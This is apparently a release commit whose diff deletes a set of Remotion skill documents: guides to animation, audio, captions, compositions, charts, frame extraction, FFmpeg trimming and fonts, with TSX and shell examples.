chore: version packages

Release 1.2.1: fix iOS Safari local echo on keyboard-up tab switches
(selectSession now runs the keyboard-show heal so typed input paints at
the prompt instead of staying invisible/mispositioned until a manual
keyboard toggle).

-## Captions
-
-When dealing with captions or subtitles, load the [./rules/subtitles.md](./rules/subtitles.md) file for more information.
-
-## Using FFmpeg
-
-For some video operations, such as trimming videos or detecting silence, FFmpeg should be used. Load the [./rules/ffmpeg.md](./rules/ffmpeg.md) file for more information.

-
-# Using Three.js and React Three Fiber in Remotion
-
-Follow React Three Fiber and Three.js best practices.  
-Only the following Remotion-specific rules need to be followed:
-
-## Prerequisites
-
-First, the `@remotion/three` package needs to be installed.  
-If it is not, use the following command:
-
-```bash
-npx remotion add @remotion/three # If project uses npm
-bunx remotion add @remotion/three # If project uses bun
-yarn remotion add @remotion/three # If project uses yarn
-pnpm exec remotion add @remotion/three # If project uses pnpm
-```
-
-## Using ThreeCanvas
-
-You MUST wrap 3D content in `<ThreeCanvas>` and include proper lighting.  
-`<ThreeCanvas>` MUST have a `width` and `height` prop.
-
-```tsx
-import { ThreeCanvas } from "@remotion/three";
-import { useVideoConfig } from "remotion";
-
-const { width, height } = useVideoConfig();
-
-<ThreeCanvas width={width} height={height}>
-  <ambientLight intensity={0.4} />
-  <directionalLight position={[5, 5, 5]} intensity={0.8} />
-  <mesh>
-    <sphereGeometry args={[1, 32, 32]} />
-    <meshStandardMaterial color="red" />
-  </mesh>
-</ThreeCanvas>;
-```
-
-## No animations not driven by `useCurrentFrame()`
-
-Shaders, models etc MUST NOT animate by themselves.  
-No animations are allowed unless they are driven by `useCurrentFrame()`.  
-Otherwise, it will cause flickering during rendering.
-
-Using `useFrame()` from `@react-three/fiber` is forbidden.
-
-## Animate using `useCurrentFrame()`
-
-Use `useCurrentFrame()` to perform animations.
-
-```tsx
-const frame = useCurrentFrame();
-const rotationY = frame * 0.02;
-
-<mesh rotation={[0, rotationY, 0]}>
-  <boxGeometry args={[2, 2, 2]} />
-  <meshStandardMaterial color="#4a9eff" />
-</mesh>;
-```
-
-## Using `<Sequence>` inside `<ThreeCanvas>`
-
-The `layout` prop of any `<Sequence>` inside a `<ThreeCanvas>` must be set to `none`.
-
-```tsx
-import { Sequence } from "remotion";
-import { ThreeCanvas } from "@remotion/three";
-
-const { width, height } = useVideoConfig();
-
-<ThreeCanvas width={width} height={height}>
-  <Sequence layout="none">
-    <mesh>
-      <boxGeometry args={[2, 2, 2]} />
-      <meshStandardMaterial color="#4a9eff" />
-    </mesh>
-  </Sequence>
-</ThreeCanvas>;
-```

-description: Fundamental animation skills for Remotion
-metadata:
-  tags: animations, transitions, frames, useCurrentFrame
----
-
-All animations MUST be driven by the `useCurrentFrame()` hook.  
-Write animations in seconds and multiply them by the `fps` value from `useVideoConfig()`.
-
-```tsx
-import { useCurrentFrame } from "remotion";
-
-export const FadeIn = () => {
-  const frame = useCurrentFrame();
-  const { fps } = useVideoConfig();
-
-  const opacity = interpolate(frame, [0, 2 * fps], [0, 1], {
-    extrapolateRight: "clamp",
-  });
-
-  return <div style={{ opacity }}>Hello World!</div>;
-};
-```
-
-CSS transitions or animations are FORBIDDEN - they will not render correctly.  
-Tailwind animation class names are FORBIDDEN - they will not render correctly.

-
-# Importing assets in Remotion
-
-## The public folder
-
-Place assets in the `public/` folder at your project root.
-
-## Using staticFile()
-
-You MUST use `staticFile()` to reference files from the `public/` folder:
-
-```tsx
-import { Img, staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return <Img src={staticFile("logo.png")} />;
-};
-```
-
-The function returns an encoded URL that works correctly when deploying to subdirectories.
-
-## Using with components
-
-**Images:**
-
-```tsx
-import { Img, staticFile } from "remotion";
-
-<Img src={staticFile("photo.png")} />;
-```
-
-**Videos:**
-
-```tsx
-import { Video } from "@remotion/media";
-import { staticFile } from "remotion";
-
-<Video src={staticFile("clip.mp4")} />;
-```
-
-**Audio:**
-
-```tsx
-import { Audio } from "@remotion/media";
-import { staticFile } from "remotion";
-
-<Audio src={staticFile("music.mp3")} />;
-```
-
-**Fonts:**
-
-```tsx
-import { staticFile } from "remotion";
-
-const fontFamily = new FontFace("MyFont", `url(${staticFile("font.woff2")})`);
-await fontFamily.load();
-document.fonts.add(fontFamily);
-```
-
-## Remote URLs
-
-Remote URLs can be used directly without `staticFile()`:
-
-```tsx
-<Img src="https://example.com/image.png" />
-<Video src="https://remotion.media/video.mp4" />
-```
-
-## Important notes
-
-- Remotion components (`<Img>`, `<Video>`, `<Audio>`) ensure assets are fully loaded before rendering
-- Special characters in filenames (`#`, `?`, `&`) are automatically encoded

-# Audio Visualization in Remotion
-
-## Prerequisites
-
-```bash
-npx remotion add @remotion/media-utils
-```
-
-## Loading Audio Data
-
-Use `useWindowedAudioData()` (https://www.remotion.dev/docs/use-windowed-audio-data) to load audio data:
-
-```tsx
-import { useWindowedAudioData } from "@remotion/media-utils";
-import { staticFile, useCurrentFrame, useVideoConfig } from "remotion";
-
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-
-const { audioData, dataOffsetInSeconds } = useWindowedAudioData({
-  src: staticFile("podcast.wav"),
-  frame,
-  fps,
-  windowInSeconds: 30,
-});
-```
-
-## Spectrum Bar Visualization
-
-Use `visualizeAudio()` (https://www.remotion.dev/docs/visualize-audio) to get frequency data for bar charts:
-
-```tsx
-import { useWindowedAudioData, visualizeAudio } from "@remotion/media-utils";
-import { staticFile, useCurrentFrame, useVideoConfig } from "remotion";
-
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-
-const { audioData, dataOffsetInSeconds } = useWindowedAudioData({
-  src: staticFile("music.mp3"),
-  frame,
-  fps,
-  windowInSeconds: 30,
-});
-
-if (!audioData) {
-  return null;
-}
-
-const frequencies = visualizeAudio({
-  fps,
-  frame,
-  audioData,
-  numberOfSamples: 256,
-  optimizeFor: "speed",
-  dataOffsetInSeconds,
-});
-
-return (
-  <div style={{ display: "flex", alignItems: "flex-end", height: 200 }}>
-    {frequencies.map((v, i) => (
-      <div
-        key={i}
-        style={{
-          flex: 1,
-          height: `${v * 100}%`,
-          backgroundColor: "#0b84f3",
-          margin: "0 1px",
-        }}
-      />
-    ))}
-  </div>
-);
-```
-
-- `numberOfSamples` must be power of 2 (32, 64, 128, 256, 512, 1024)
-- Values range 0-1; left of array = bass, right = highs
-- Use `optimizeFor: "speed"` for Lambda or high sample counts
-
-**Important:** When passing `audioData` to child components, also pass the `frame` from the parent. Do not call `useCurrentFrame()` in each child - this causes discontinuous visualization when children are inside `<Sequence>` with offsets.
-
-## Waveform Visualization
-
-Use `visualizeAudioWaveform()` (https://www.remotion.dev/docs/media-utils/visualize-audio-waveform) with `createSmoothSvgPath()` (https://www.remotion.dev/docs/media-utils/create-smooth-svg-path) for oscilloscope-style displays:
-
-```tsx
-import {
-  createSmoothSvgPath,
-  useWindowedAudioData,
-  visualizeAudioWaveform,
-} from "@remotion/media-utils";
-import { staticFile, useCurrentFrame, useVideoConfig } from "remotion";
-
-const frame = useCurrentFrame();
-const { width, fps } = useVideoConfig();
-const HEIGHT = 200;
-
-const { audioData, dataOffsetInSeconds } = useWindowedAudioData({
-  src: staticFile("voice.wav"),
-  frame,
-  fps,
-  windowInSeconds: 30,
-});
-
-if (!audioData) {
-  return null;

-
-const waveform = visualizeAudioWaveform({
-  fps,
-  frame,
-  audioData,
-  numberOfSamples: 256,
-  windowInSeconds: 0.5,
-  dataOffsetInSeconds,
-});
-
-const path = createSmoothSvgPath({
-  points: waveform.map((y, i) => ({
-    x: (i / (waveform.length - 1)) * width,
-    y: HEIGHT / 2 + (y * HEIGHT) / 2,
-  })),
-});
-
-return (
-  <svg width={width} height={HEIGHT}>
-    <path d={path} fill="none" stroke="#0b84f3" strokeWidth={2} />
-  </svg>
-);
-```
-
-## Bass-Reactive Effects
-
-Extract low frequencies for beat-reactive animations:
-
-```tsx
-const frequencies = visualizeAudio({
-  fps,
-  frame,
-  audioData,
-  numberOfSamples: 128,
-  optimizeFor: "speed",
-  dataOffsetInSeconds,
-});
-
-const lowFrequencies = frequencies.slice(0, 32);
-const bassIntensity =
-  lowFrequencies.reduce((sum, v) => sum + v, 0) / lowFrequencies.length;
-
-const scale = 1 + bassIntensity * 0.5;
-const opacity = Math.min(0.6, bassIntensity * 0.8);
-```
-
-## Volume-Based Waveform
-
-Use `getWaveformPortion()` (https://www.remotion.dev/docs/get-waveform-portion) when you need simplified volume data instead of frequency spectrum:
-
-```tsx
-import { getWaveformPortion } from "@remotion/media-utils";
-import { useCurrentFrame, useVideoConfig } from "remotion";
-
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-const currentTimeInSeconds = frame / fps;
-
-const waveform = getWaveformPortion({
-  audioData,
-  startTimeInSeconds: currentTimeInSeconds,
-  durationInSeconds: 5,
-  numberOfSamples: 50,
-});
-
-// Returns array of { index, amplitude } objects (amplitude: 0-1)
-waveform.map((bar) => (
-  <div key={bar.index} style={{ height: bar.amplitude * 100 }} />
-));
-```
-
-## Postprocessing
-
-Low frequencies naturally dominate. Apply logarithmic scaling for visual balance:
-
-```tsx
-const minDb = -100;
-const maxDb = -30;
-
-const scaled = frequencies.map((value) => {
-  const db = 20 * Math.log10(value);
-  return (db - minDb) / (maxDb - minDb);
-});
-```

-description: Using audio and sound in Remotion - importing, trimming, volume, speed, pitch
-metadata:
-  tags: audio, media, trim, volume, speed, loop, pitch, mute, sound, sfx
----
-
-# Using audio in Remotion
-
-## Prerequisites
-
-First, the @remotion/media package needs to be installed.
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/media
-```
-
-## Importing Audio
-
-Use `<Audio>` from `@remotion/media` to add audio to your composition.
-
-```tsx
-import { Audio } from "@remotion/media";
-import { staticFile } from "remotion";
-
-export const MyComposition = () => {
-  return <Audio src={staticFile("audio.mp3")} />;
-};
-```
-
-Remote URLs are also supported:
-
-```tsx
-<Audio src="https://remotion.media/audio.mp3" />
-```
-
-By default, audio plays from the start, at full volume and full length.
-Multiple audio tracks can be layered by adding multiple `<Audio>` components.
-
-## Trimming
-
-Use `trimBefore` and `trimAfter` to remove portions of the audio. Values are in frames.
-
-```tsx
-const { fps } = useVideoConfig();
-
-return (
-  <Audio
-    src={staticFile("audio.mp3")}
-    trimBefore={2 * fps} // Skip the first 2 seconds
-    trimAfter={10 * fps} // End at the 10 second mark
-  />
-);
-```
-
-The audio still starts playing at the beginning of the composition - only the specified portion is played.
-
-## Delaying
-
-Wrap the audio in a `<Sequence>` to delay when it starts:
-
-```tsx
-import { Sequence, staticFile } from "remotion";
-import { Audio } from "@remotion/media";
-
-const { fps } = useVideoConfig();
-
-return (
-  <Sequence from={1 * fps}>
-    <Audio src={staticFile("audio.mp3")} />
-  </Sequence>
-);
-```
-
-The audio will start playing after 1 second.
-
-## Volume
-
-Set a static volume (0 to 1):
-
-```tsx
-<Audio src={staticFile("audio.mp3")} volume={0.5} />
-```
-
-Or use a callback for dynamic volume based on the current frame:
-
-```tsx
-import { interpolate } from "remotion";
-
-const { fps } = useVideoConfig();
-
-return (
-  <Audio
-    src={staticFile("audio.mp3")}
-    volume={(f) =>
-      interpolate(f, [0, 1 * fps], [0, 1], { extrapolateRight: "clamp" })
-    }
-  />
-);
-```
-
-The value of `f` starts at 0 when the audio begins to play, not the composition frame.
-
-## Muting
-
-Use `muted` to silence the audio. It can be set dynamically:
-
-```tsx
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-
-return (
-  <Audio
-    src={staticFile("audio.mp3")}
-    muted={frame >= 2 * fps && frame <= 4 * fps} // Mute between 2s and 4s
-  />
-);
-```
-
-## Speed
-
-Use `playbackRate` to change the playback speed:
-
-```tsx
-<Audio src={staticFile("audio.mp3")} playbackRate={2} /> {/* 2x speed */}
-<Audio src={staticFile("audio.mp3")} playbackRate={0.5} /> {/* Half speed */}
-```
-
-Reverse playback is not supported.
-
-## Looping
-
-Use `loop` to loop the audio indefinitely:
-
-```tsx
-<Audio src={staticFile("audio.mp3")} loop />
-```
-
-Use `loopVolumeCurveBehavior` to control how the frame count behaves when looping:
-
-- `"repeat"`: Frame count resets to 0 each loop (default)
-- `"extend"`: Frame count continues incrementing
-
-```tsx
-<Audio
-  src={staticFile("audio.mp3")}
-  loop
-  loopVolumeCurveBehavior="extend"
-  volume={(f) => interpolate(f, [0, 300], [1, 0])} // Fade out over multiple loops
-/>
-```
-
-## Pitch
-
-Use `toneFrequency` to adjust the pitch without affecting speed. Values range from 0.01 to 2:
-
-```tsx
-<Audio
-  src={staticFile("audio.mp3")}
-  toneFrequency={1.5} // Higher pitch
-/>
-<Audio
-  src={staticFile("audio.mp3")}
-  toneFrequency={0.8} // Lower pitch
-/>
-```
-
-Pitch shifting only works during server-side rendering, not in the Remotion Studio preview or in the `<Player />`.

-
-# Using calculateMetadata
-
-Use `calculateMetadata` on a `<Composition>` to dynamically set duration, dimensions, and transform props before rendering.
-
-```tsx
-<Composition
-  id="MyComp"
-  component={MyComponent}
-  durationInFrames={300}
-  fps={30}
-  width={1920}
-  height={1080}
-  defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }}
-  calculateMetadata={calculateMetadata}
-/>
-```
-
-## Setting duration based on a video
-
-Use the [`getVideoDuration`](./get-video-duration.md) and [`getVideoDimensions`](./get-video-dimensions.md) skills to get the video duration and dimensions:
-
-```tsx
-import { CalculateMetadataFunction } from "remotion";
-import { getVideoDuration } from "./get-video-duration";
-
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  const durationInSeconds = await getVideoDuration(props.videoSrc);
-
-  return {
-    durationInFrames: Math.ceil(durationInSeconds * 30),
-  };
-};
-```
-
-## Matching dimensions of a video
-
-Use the [`getVideoDimensions`](./get-video-dimensions.md) skill to get the video dimensions:
-
-```tsx
-import { CalculateMetadataFunction } from "remotion";
-import { getVideoDuration } from "./get-video-duration";
-import { getVideoDimensions } from "./get-video-dimensions";
-
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  const dimensions = await getVideoDimensions(props.videoSrc);
-
-  return {
-    width: dimensions.width,
-    height: dimensions.height,
-  };
-};
-```
-
-## Setting duration based on multiple videos
-
-```tsx
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  const metadataPromises = props.videos.map((video) =>
-    getVideoDuration(video.src),
-  );
-  const allMetadata = await Promise.all(metadataPromises);
-
-  const totalDuration = allMetadata.reduce(
-    (sum, durationInSeconds) => sum + durationInSeconds,
-    0,
-  );
-
-  return {
-    durationInFrames: Math.ceil(totalDuration * 30),
-  };
-};
-```
-
-## Setting a default outName
-
-Set the default output filename based on props:
-
-```tsx
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-}) => {
-  return {
-    defaultOutName: `video-${props.id}.mp4`,
-  };
-};
-```
-
-## Transforming props
-
-Fetch data or transform props before rendering:
-
-```tsx
-const calculateMetadata: CalculateMetadataFunction<Props> = async ({
-  props,
-  abortSignal,
-}) => {
-  const response = await fetch(props.dataUrl, { signal: abortSignal });
-  const data = await response.json();
-
-  return {
-    props: {
-      ...props,
-      fetchedData: data,
-    },
-  };
-};
-```
-
-The `abortSignal` cancels stale requests when props change in the Studio.
-
-## Return value
-
-All fields are optional. Returned values override the `<Composition>` props:
-
-- `durationInFrames`: Number of frames
-- `width`: Composition width in pixels
-- `height`: Composition height in pixels
-- `fps`: Frames per second
-- `props`: Transformed props passed to the component
-- `defaultOutName`: Default output filename
-- `defaultCodec`: Default codec for rendering

-# Checking if a video can be decoded
-
-Use Mediabunny to check if a video can be decoded by the browser before attempting to play it.
-
-## The `canDecode()` function
-
-This function can be copy-pasted into any project.
-
-```tsx
-import { Input, ALL_FORMATS, UrlSource } from "mediabunny";
-
-export const canDecode = async (src: string) => {
-  const input = new Input({
-    formats: ALL_FORMATS,
-    source: new UrlSource(src, {
-      getRetryDelay: () => null,
-    }),
-  });
-
-  try {

-# Charts in Remotion
-
-Create charts using React code - HTML, SVG, and D3.js are all supported.
-
-Disable all animations from third party libraries - they cause flickering.  
-Drive all animations from `useCurrentFrame()`.
-
-## Bar Chart
-
-```tsx
-const STAGGER_DELAY = 5;
-const frame = useCurrentFrame();
-const { fps } = useVideoConfig();
-
-const bars = data.map((item, i) => {

-```
-
-## Line Chart / Path Animation
-
-Use `@remotion/paths` for animating SVG paths (line charts, stock graphs, signatures).

-
-A `<Composition>` defines the component, width, height, fps and duration of a renderable video.
-
-It normally is placed in the `src/Root.tsx` file.
-
-```tsx
-import { Composition } from "remotion";
-import { MyComposition } from "./MyComposition";
-
-export const RemotionRoot = () => {
-  return (
-    <Composition
-      id="MyComposition"
-      component={MyComposition}
-      durationInFrames={100}
-      fps={30}
-      width={1080}
-      height={1080}
-    />
-  );
-};
-```
-
-## Default Props
-
-Pass `defaultProps` to provide initial values for your component.  
-Values must be JSON-serializable (`Date`, `Map`, `Set`, and `staticFile()` are supported).
-
-```tsx
-import { Composition } from "remotion";
-import { MyComposition, MyCompositionProps } from "./MyComposition";
-
-export const RemotionRoot = () => {
-  return (
-    <Composition
-      id="MyComposition"
-      component={MyComposition}
-      durationInFrames={100}

-      width={1080}
-      height={1080}
-      defaultProps={
-        {
-          title: "Hello World",
-          color: "#ff0000",
-        } satisfies MyCompositionProps
-      }
-    />
-  );
-};
-```
-
-Use `type` declarations for props rather than `interface` to ensure `defaultProps` type safety.
-
-## Folders
-
-Use `<Folder>` to organize compositions in the sidebar.  
-Folder names can only contain letters, numbers, and hyphens.
-
-```tsx
-import { Composition, Folder } from "remotion";
-
-export const RemotionRoot = () => {
-  return (
-    <>
-      <Folder name="Marketing">
-        <Composition id="Promo" /* ... */ />
-        <Composition id="Ad" /* ... */ />
-      </Folder>
-      <Folder name="Social">
-        <Folder name="Instagram">
-          <Composition id="Story" /* ... */ />
-          <Composition id="Reel" /* ... */ />
-        </Folder>
-      </Folder>
-    </>
-  );
-};
-```
-
-## Stills
-
-Use `<Still>` for single-frame images. It does not require `durationInFrames` or `fps`.
-
-```tsx
-import { Still } from "remotion";
-import { Thumbnail } from "./Thumbnail";
-
-export const RemotionRoot = () => {
-  return (
-    <Still id="Thumbnail" component={Thumbnail} width={1280} height={720} />
-  );
-};
-```
-
-## Calculate Metadata
-
-Use `calculateMetadata` to make dimensions, duration, or props dynamic based on data.
-
-```tsx
-import { Composition, CalculateMetadataFunction } from "remotion";
-import { MyComposition, MyCompositionProps } from "./MyComposition";
-
-const calculateMetadata: CalculateMetadataFunction<
-  MyCompositionProps
-> = async ({ props, abortSignal }) => {
-  const data = await fetch(`https://api.example.com/video/${props.videoId}`, {
-    signal: abortSignal,
-  }).then((res) => res.json());
-
-  return {
-    durationInFrames: Math.ceil(data.duration * 30),
-    props: {
-      ...props,
-      videoUrl: data.url,
-    },
-  };
-};
-
-export const RemotionRoot = () => {
-  return (
-    <Composition
-      id="MyComposition"
-      component={MyComposition}
-      durationInFrames={100} // Placeholder, will be overridden
-      fps={30}
-      width={1080}
-      height={1080}
-      defaultProps={{ videoId: "abc123" }}
-      calculateMetadata={calculateMetadata}
-    />
-  );
-};
-```
-
-The function can return `props`, `durationInFrames`, `width`, `height`, `fps`, and codec-related defaults. It runs once before rendering begins.
-
-## Nesting compositions within another
-
-To add a composition within another composition, you can use the `<Sequence>` component with a `width` and `height` prop to specify the size of the composition.
-
-```tsx
-<AbsoluteFill>
-  <Sequence width={COMPOSITION_WIDTH} height={COMPOSITION_HEIGHT}>
-    <CompositionComponent />
-  </Sequence>
-</AbsoluteFill>
-```

-# Displaying captions in Remotion
-
-This guide explains how to display captions in Remotion, assuming you already have captions in the [`Caption`](https://www.remotion.dev/docs/captions/caption) format.
-
-## Prerequisites
-
-Read [Transcribing audio](transcribe-captions.md) for how to generate captions.
-
-First, the [`@remotion/captions`](https://www.remotion.dev/docs/captions) package needs to be installed.
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/captions
-```
-
-## Fetching captions
-
-First, fetch your captions JSON file. Use [`useDelayRender()`](https://www.remotion.dev/docs/use-delay-render) to hold the render until the captions are loaded:
-
-```tsx
-import { useState, useEffect, useCallback } from "react";
-import { AbsoluteFill, staticFile, useDelayRender } from "remotion";
-import type { Caption } from "@remotion/captions";
-
-export const MyComponent: React.FC = () => {
-  const [captions, setCaptions] = useState<Caption[] | null>(null);
-  const { delayRender, continueRender, cancelRender } = useDelayRender();
-  const [handle] = useState(() => delayRender());
-
-  const fetchCaptions = useCallback(async () => {
-    try {
-      // Assuming captions.json is in the public/ folder.
-      const response = await fetch(staticFile("captions123.json"));
-      const data = await response.json();
-      setCaptions(data);
-      continueRender(handle);
-    } catch (e) {
-      cancelRender(e);
-    }
-  }, [continueRender, cancelRender, handle]);
-
-  useEffect(() => {
-    fetchCaptions();
-  }, [fetchCaptions]);
-
-  if (!captions) {
-    return null;
-  }
-
-  return <AbsoluteFill>{/* Render captions here */}</AbsoluteFill>;
-};
-```
-
-## Creating pages
-
-Use `createTikTokStyleCaptions()` to group captions into pages. The `combineTokensWithinMilliseconds` option controls how many words appear at once:
-
-```tsx
-import { useMemo } from "react";
-import { createTikTokStyleCaptions } from "@remotion/captions";
-import type { Caption } from "@remotion/captions";
-
-// How often captions should switch (in milliseconds)
-// Higher values = more words per page
-// Lower values = fewer words (more word-by-word)
-const SWITCH_CAPTIONS_EVERY_MS = 1200;
-
-const { pages } = useMemo(() => {
-  return createTikTokStyleCaptions({
-    captions,
-    combineTokensWithinMilliseconds: SWITCH_CAPTIONS_EVERY_MS,
-  });
-}, [captions]);
-```
-
-## Rendering with Sequences
-
-Map over the pages and render each one in a `<Sequence>`. Calculate the start frame and duration from the page timing:
-
-```tsx
-import { Sequence, useVideoConfig, AbsoluteFill } from "remotion";
-import type { TikTokPage } from "@remotion/captions";
-
-const CaptionedContent: React.FC = () => {
-  const { fps } = useVideoConfig();
-
-  return (

-    </AbsoluteFill>
-  );
-};
-```
-
-## White-space preservation
-
-The captions are whitespace sensitive. You should include spaces in the `text` field before each word. Use `whiteSpace: "pre"` to preserve the whitespace in the captions.
-
-## Separate component for captions
-
-Put captioning logic in a separate component.  
-Make a new file for it.
-
-## Word highlighting
-
-A caption page contains `tokens` which you can use to highlight the currently spoken word:
-
-```tsx
-import { AbsoluteFill, useCurrentFrame, useVideoConfig } from "remotion";
-import type { TikTokPage } from "@remotion/captions";
-
-const HIGHLIGHT_COLOR = "#39E508";
-
-const CaptionPage: React.FC<{ page: TikTokPage }> = ({ page }) => {
-  const frame = useCurrentFrame();
-  const { fps } = useVideoConfig();
-
-  // Current time relative to the start of the sequence
-  const currentTimeMs = (frame / fps) * 1000;
-  // Convert to absolute time by adding the page start
-  const absoluteTimeMs = page.startMs + currentTimeMs;
-
-  return (
-    <AbsoluteFill style={{ justifyContent: "center", alignItems: "center" }}>
-      <div style={{ fontSize: 80, fontWeight: "bold", whiteSpace: "pre" }}>
-        {page.tokens.map((token) => {
-          const isActive =
-            token.fromMs <= absoluteTimeMs && token.toMs > absoluteTimeMs;
-
-          return (
-            <span
-              key={token.fromMs}
-              style={{ color: isActive ? HIGHLIGHT_COLOR : "white" }}
-            >
-              {token.text}
-            </span>
-          );
-        })}
-      </div>
-    </AbsoluteFill>
-  );
-};
-```
-
-## Display captions alongside video content
-
-By default, put the captions alongside the video content, so the captions are in sync.  
-For each video, make a new captions JSON file.
-
-```tsx
-<AbsoluteFill>
-  <Video src={staticFile("video.mp4")} />
-  <CaptionPage page={page} />
-</AbsoluteFill>
-```

-# Extracting frames from videos
-
-Use Mediabunny to extract frames from videos at specific timestamps. This is useful for generating thumbnails, filmstrips, or processing individual frames.
-
-## The `extractFrames()` function
-
-This function can be copy-pasted into any project.
-
-```tsx
-import {
-  ALL_FORMATS,
-  Input,
-  UrlSource,
-  VideoSample,
-  VideoSampleSink,
-} from "mediabunny";
-
-type Options = {
-  track: { width: number; height: number };
-  container: string;
-  durationInSeconds: number | null;
-};
-
-export type ExtractFramesTimestampsInSecondsFn = (
-  options: Options,
-) => Promise<number[]> | number[];
-
-export type ExtractFramesProps = {
-  src: string;
-  timestampsInSeconds: number[] | ExtractFramesTimestampsInSecondsFn;
-  onVideoSample: (sample: VideoSample) => void;
-  signal?: AbortSignal;
-};
-
-export async function extractFrames({
-  src,
-  timestampsInSeconds,
-  onVideoSample,
-  signal,
-}: ExtractFramesProps): Promise<void> {
-  using input = new Input({
-    formats: ALL_FORMATS,
-    source: new UrlSource(src),
-  });
-
-  const [durationInSeconds, format, videoTrack] = await Promise.all([
-    input.computeDuration(),
-    input.getFormat(),
-    input.getPrimaryVideoTrack(),
-  ]);
-
-  if (!videoTrack) {
-    throw new Error("No video track found in the input");
-  }
-
-  if (signal?.aborted) {
-    throw new Error("Aborted");
-  }
-
-  const timestamps =
-    typeof timestampsInSeconds === "function"
-      ? await timestampsInSeconds({
-          track: {
-            width: videoTrack.displayWidth,
-            height: videoTrack.displayHeight,
-          },
-          container: format.name,
-          durationInSeconds,
-        })
-      : timestampsInSeconds;
-
-  if (timestamps.length === 0) {
-    return;
-  }
-
-  if (signal?.aborted) {
-    throw new Error("Aborted");
-  }
-
-  const sink = new VideoSampleSink(videoTrack);
-
-  for await (using videoSample of sink.samplesAtTimestamps(timestamps)) {
-    if (signal?.aborted) {
-      break;
-    }
-
-    if (!videoSample) {
-      continue;
-    }
-
-    onVideoSample(videoSample);
-  }
-}
-```
-
-## Basic usage
-
-Extract frames at specific timestamps:
-
-```tsx
-await extractFrames({
-  src: "https://remotion.media/video.mp4",
-  timestampsInSeconds: [0, 1, 2, 3, 4],
-  onVideoSample: (sample) => {
-    const canvas = document.createElement("canvas");
-    canvas.width = sample.displayWidth;
-    canvas.height = sample.displayHeight;
-    const ctx = canvas.getContext("2d");
-    sample.draw(ctx!, 0, 0);
-  },
-});
-```
-
-## Creating a filmstrip
-
-Use a callback function to dynamically calculate timestamps based on video metadata:
-
-```tsx
-const canvasWidth = 500;
-const canvasHeight = 80;
-const fromSeconds = 0;
-const toSeconds = 10;
-
-await extractFrames({
-  src: "https://remotion.media/video.mp4",
-  timestampsInSeconds: async ({ track, durationInSeconds }) => {
-    const aspectRatio = track.width / track.height;
-    const amountOfFramesFit = Math.ceil(
-      canvasWidth / (canvasHeight * aspectRatio),
-    );
-    const segmentDuration = toSeconds - fromSeconds;
-    const timestamps: number[] = [];
-
-    for (let i = 0; i < amountOfFramesFit; i++) {
-      timestamps.push(
-        fromSeconds + (segmentDuration / amountOfFramesFit) * (i + 0.5),
-      );
-    }
-
-    return timestamps;
-  },
-  onVideoSample: (sample) => {
-    console.log(`Frame at ${sample.timestamp}s`);
-
-    const canvas = document.createElement("canvas");
-    canvas.width = sample.displayWidth;
-    canvas.height = sample.displayHeight;
-    const ctx = canvas.getContext("2d");
-    sample.draw(ctx!, 0, 0);
-  },
-});
-```
-
-## Cancellation with AbortSignal
-
-Cancel frame extraction after a timeout:
-
-```tsx
-const controller = new AbortController();
-
-setTimeout(() => controller.abort(), 5000);
-
-try {
-  await extractFrames({
-    src: "https://remotion.media/video.mp4",
-    timestampsInSeconds: [0, 1, 2, 3, 4],
-    onVideoSample: (sample) => {
-      using frame = sample;
-      const canvas = document.createElement("canvas");
-      canvas.width = frame.displayWidth;
-      canvas.height = frame.displayHeight;
-      const ctx = canvas.getContext("2d");
-      frame.draw(ctx!, 0, 0);
-    },
-    signal: controller.signal,
-  });
-
-  console.log("Frame extraction complete!");
-} catch (error) {
-  console.error("Frame extraction was aborted or failed:", error);
-}
-```
-
-## Timeout with Promise.race
-
-```tsx
-const controller = new AbortController();
-
-const timeoutPromise = new Promise<never>((_, reject) => {
-  const timeoutId = setTimeout(() => {
-    controller.abort();
-    reject(new Error("Frame extraction timed out after 10 seconds"));
-  }, 10000);
-
-  controller.signal.addEventListener("abort", () => clearTimeout(timeoutId), {
-    once: true,
-  });
-});
-
-try {
-  await Promise.race([
-    extractFrames({
-      src: "https://remotion.media/video.mp4",
-      timestampsInSeconds: [0, 1, 2, 3, 4],
-      onVideoSample: (sample) => {
-        using frame = sample;
-        const canvas = document.createElement("canvas");
-        canvas.width = frame.displayWidth;
-        canvas.height = frame.displayHeight;
-        const ctx = canvas.getContext("2d");
-        frame.draw(ctx!, 0, 0);
-      },
-      signal: controller.signal,
-    }),
-    timeoutPromise,
-  ]);
-
-  console.log("Frame extraction complete!");
-} catch (error) {
-  console.error("Frame extraction was aborted or failed:", error);
-}

-## FFmpeg in Remotion
-
-`ffmpeg` and `ffprobe` do not need to be installed. They are available via the `bunx remotion ffmpeg` and `bunx remotion ffprobe`:
-
-```bash
-bunx remotion ffmpeg -i input.mp4 output.mp3
-bunx remotion ffprobe input.mp4
-```
-
-### Trimming videos
-
-You have 2 options for trimming videos:
-
-1. Use the FFMpeg command line. You MUST re-encode the video to avoid frozen frames at the start of the video.
-
-```bash
-# Re-encodes from the exact frame
-bunx remotion ffmpeg -ss 00:00:05 -i public/input.mp4 -to 00:00:10 -c:v libx264 -c:a aac public/output.mp4
-```
-
-2. Use the `trimBefore` and `trimAfter` props of the `<Video>` component. The benefit is that this is non-destructive and you can change the trim at any time.
-
-```tsx
-import { Video } from "@remotion/media";
-
-<Video
-  src={staticFile("video.mp4")}
-  trimBefore={5 * fps}
-  trimAfter={10 * fps}
-/>;
-```

-# Using fonts in Remotion
-
-## Google Fonts with @remotion/google-fonts
-
-The recommended way to use Google Fonts. It's type-safe and automatically blocks rendering until the font is ready.
-
-### Prerequisites
-
-First, the @remotion/google-fonts package needs to be installed.
-If it is not installed, use the following command:
-
-```bash
-npx remotion add @remotion/google-fonts # If project uses npm
-bunx remotion add @remotion/google-fonts # If project uses bun
-yarn remotion add @remotion/google-fonts # If project uses yarn
